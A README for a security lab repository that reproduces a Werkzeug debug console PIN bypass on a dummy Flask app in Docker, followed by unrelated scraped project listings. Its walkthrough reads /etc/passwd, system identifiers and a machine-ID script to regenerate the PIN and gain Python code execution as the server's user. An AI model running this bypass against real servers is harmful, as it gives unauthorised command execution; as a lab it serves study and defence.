Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector.

Overview

Werkzeug Debug Console Pin Bypass

Werkzeug has a debug console that requires a pin by default. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. The debug console will lock after 10 invalid attempts which requires the server to be restarted for another 10 guesses.

The Werkzeug documentation warns users to never enable the debug console in production with or without a pin (https://werkzeug.palletsprojects.com/en/2.0.x/debug/#debugger-pin).

This repo provides a sample application to play with the /console endpoint on a dummy Flask application.

How to use

  1. Clone this repo
$ git clone https://wdahlenburg/werkzeug-debug-console-bypass
  1. Build the Docker image
$ docker build -t werkzeug-debug-console:latest .
  1. Run the Docker image
$ docker run -p 7777:7777 werkzeug-debug-console:latest
 * Running on all addresses.
   WARNING: This is a development server. Do not use it in a production deployment.
 * Running on http://172.17.0.4:7777/ (Press CTRL+C to quit)
 * Restarting with stat
User: werkzeug-user
Module: flask.app
Module Name: Flask
App Location: /usr/local/lib/python3.9/site-packages/flask/app.py
Mac Address: 2485377892356
Werkzeug Machine ID: b'ea1fc30b6f4a173cea015d229c6b55b69d0ff00819670374d7a02397bc236523a57e9bab0c6e6167470ac65b66075388'

 * Debugger is active!
 * Debugger PIN: 118-831-072

Your server should be running on port 7777 at this point. The PIN will be displayed in the Docker logs, which is what you will be trying to recreate.

Exploiting as a local privilege escalation

A scenario that could come up is that the Flask server is running under a certain user with privileges X. You are a local user on the system with privileges Y. You have the ability to access the same information that Werkzeug uses to generate the PIN for the user running the server. Successfully unlocking the console provides OS command injection as the user running the server.

At any point if you are unsure, you can reference the Docker logs to see the expected values for each parameter.

  1. Open up a new terminal and log into Docker as some other user
$ docker ps                                            
CONTAINER ID   IMAGE                               COMMAND                  CREATED          STATUS          PORTS                                                                                                                                                                                          NAMES
9d0ff0081967   werkzeug-debug-console:latest       "python3 /app/server…"   16 minutes ago   Up 16 minutes   0.0.0.0:7777->7777/tcp, :::7777->7777/tcp

$ docker exec -u 0 -it 9d0ff0081967 /bin/bash
[email protected]:/app#
  1. Take a look at https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py for references
  2. Identify the user running the server on port 7777
$ ps auxww | grep server
werkzeu+     1  0.0  0.1  34992 28072 ?        Ss   15:50   0:00 python3 /app/server.py
werkzeu+    10  0.0  0.1  35248 23780 ?        S    15:50   0:00 python3 /app/server.py
werkzeu+    11  0.0  0.1  35072 28276 ?        S    15:50   0:00 /usr/local/bin/python3 /app/server.py
werkzeu+    12  0.7  0.1 109316 25500 ?        Sl   15:50   0:08 /usr/local/bin/python3 /app/server.py

It's likely the werkzeu user is running the server, but the name is truncated.

$ cat /etc/passwd
...
werkzeug-user:x:1000:1000::/home/werkzeug-user:/bin/sh
  1. Copy the werkzeug-user into the username field of the werkzeug-pin-bypass.py file.

  2. Find the correct path to Flask

$ find / -name "app.py" 2>/dev/null
/usr/local/lib/python3.9/site-packages/flask/app.py
  1. Update the werkzeug-pin-bypass.py file with this information. The location will be different if alternate Python versions or OS's are used.
  2. Grab the Mac Address of the interface the server is hosting on:
$  python3
Python 3.9.7 (default, Sep  3 2021, 02:02:37) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import uuid
>>> str(uuid.getnode())
'2485377892356'

OR

$ cat /sys/class/net/eth0/address 
02:42:ac:11:00:04
[email protected]:/app# python3
Python 3.9.7 (default, Sep  3 2021, 02:02:37) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> "".join("02:42:ac:11:00:04".split(":"))
'0242ac110004'
>>> print(0x0242ac110004)
2485377892356
  1. Update the Mac address in the werkzeug-pin-bypass.py file.
  2. In python3 run the following script to generate the machine id
machine_id = b""
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
    try:
        with open(filename, "rb") as f:
            value = f.readline().strip()
    except OSError:
        continue

    if value:
        machine_id += value
        break
try:
    with open("/proc/self/cgroup", "rb") as f:
        machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
    pass

print(machine_id)
  1. Update the machine id in the werkzeug-pin-bypass.py file.
  2. Go ahead and run the werkzeug-pin-bypass.py on the attacking machine
$  python3 ./werkzeug-pin-bypass.py
Pin: 118-831-072

If all goes well you should have the same Pin as the one displayed in the Docker logs. If not, recheck your steps. If you are on an old version of Werkzeug, try changing the hashing algorithm to md5 instead of sha1.

The pin can be accepted at http://127.0.0.1/console. Once the system is unlocked you can run any python commands you want.

Credit

The original research was done here: https://www.daehee.com/werkzeug-console-pin-exploit/

The LFI vector is listed here: https://github.com/grav3m1nd-byte/werkzeug-pin

Owner
Wyatt Dahlenburg
Security Researcher and Developer
Wyatt Dahlenburg
Model synchronization from dbt to Metabase.

dbt-metabase Model synchronization from dbt to Metabase. If dbt is your source of truth for database schemas and you use Metabase as your analytics to

Mike Gouline 270 Jan 08, 2023
Decentralized intelligent voting application.

DiVA Decentralized intelligent voting application. Hack the North 2021. Inspiration Following the previous US election, many voters were fearful that

Ali Shariatmadari 4 Jun 05, 2022
It's an .exe file that can notify your chia profit and warning message every time automatically.

chia-Notify-with-Line 警示程式 It's an .exe file that can notify your chia profit and warning message every time automatically. 這是我自行設計的小程式,有轉成.exe檔了,可以在沒

You,Yu 1 Oct 28, 2021
The git for the Python Story Utility Package library.

PSUP, The Python Story Utility Package Module. PSUP helps making stories or games with options, diverging paths, different endings and so on. You can

Enoki 6 Nov 27, 2022
Plugins for Agisoft Metashape

Данные плагины предназначены для расширения функциональных возможностей Agisoft Metashape. Плагины представляют собой отдельные программы с собственным интерфейсом, которые запускаются внутри Agisoft

GeoScan 17 Dec 10, 2022
Grimoire is a Python library for creating interactive fiction as hyperlinked html.

Grimoire Grimoire is a Python library for creating interactive fiction as hyperlinked html. Installation pip install grimoire-if Usage Check out the

Scott Russell 5 Oct 11, 2022
Small tool to use hero .json files created with Optolith for The Dark Eye/ Das Schwarze Auge 5 to perform talent probes.

DSA5-ProbeMaker A little tool for The Dark Eye 5th Edition (Das Schwarze Auge 5) to load .json from Optolith character generation and easily perform t

2 Jan 06, 2022
Install Firefox from Mozilla.org easily, complete with .desktop file creation.

firefox-installer Install Firefox from Mozilla.org easily, complete with .desktop file creation. Dependencies Python 3 Python LXML Debian/Ubuntu: sudo

rany 7 Nov 04, 2022
Hasklig - a code font with monospaced ligatures

Hasklig – Ligatures for code Programming languages are limited to relatively few characters. As a result, combined character operators surfaced quite

Ian Tuomi 5.3k Jan 03, 2023
NewsBlur is a personal news reader bringing people together to talk about the world.

NewsBlur NewsBlur is a personal news reader bringing people together to talk about the world.

Samuel Clay 6.2k Dec 29, 2022
Test for using pyIIIFpres for rara magnetica project

raramagnetica_pyIIIFpres Test for using pyIIIFpres for rara magnetica project. This test show how to use pyIIIFpres for creating mannifest compliant t

Giacomo Marchioro 1 Dec 03, 2021
A web app for presenting my research in BEM(building energy model) simulation

BEM(building energy model)-SIM-APP The is a web app presenting my research in BEM(building energy model) calibration. You can play around with some pa

8 Sep 03, 2021
A tool converting rpk (记乎) to apkg (Anki Package)

RpkConverter This tool is used to convert rpk file to Anki apkg. 如果遇到任何问题,请发起issue,并描述情况。如果转换rpk出现问题,请将文件发到邮箱 ssqyang [AT] outlook.com,我会debug并修复问题。 下

9 Nov 01, 2021
Demo code for "Logs in distributed systems" webinar

Hexlet Logs Demo Пререквизиты docker-compose python3 Учетка в DataDog Базовое понимание, что такое логи (можно почитать гайд

Anton Markelov 1 Dec 01, 2021
Demo Python project using Conda and Poetry

Conda Poetry This is a demonstration of how Conda and Poetry can be used in a Python project for dev dependency management and production deployment.

Ryan Allen 2 Apr 26, 2022
Scripts for hosting urbit in production-ish

Urbit Sysops Contains some helpful scripts for hosting Urbit. There are two variants included in this repo: one using docker, and one using plain syst

Jōshin 12 Sep 25, 2022
Python Freecell Solver

freecell Python Freecell Solver Very early version right now. You can pick a board by changing the file path in freecell.py If you want to play a game

Ben Kaufman 1 Nov 26, 2021
A web application which you can search, buy or sell shares with current prices which provided by IEX.

CS50 - Stock Exchange A web application which you can search, buy or sell shares with current prices which provided by IEX. Table of Contents Setup St

1 May 28, 2022
Backend Interview Challenge

Inspect HOA backend challenge This is a simple flask repository with some endpoints and requires a few more endpoints. It follows a simple MVP (model-

1 Jan 20, 2022
An a simple sistem code in python

AMS OS An a simple code in python ⁕¿What is AMS OS? AMS OS is an a simple sistem code writed in python. This code helps you with the cotidian task, yo

1 Nov 10, 2021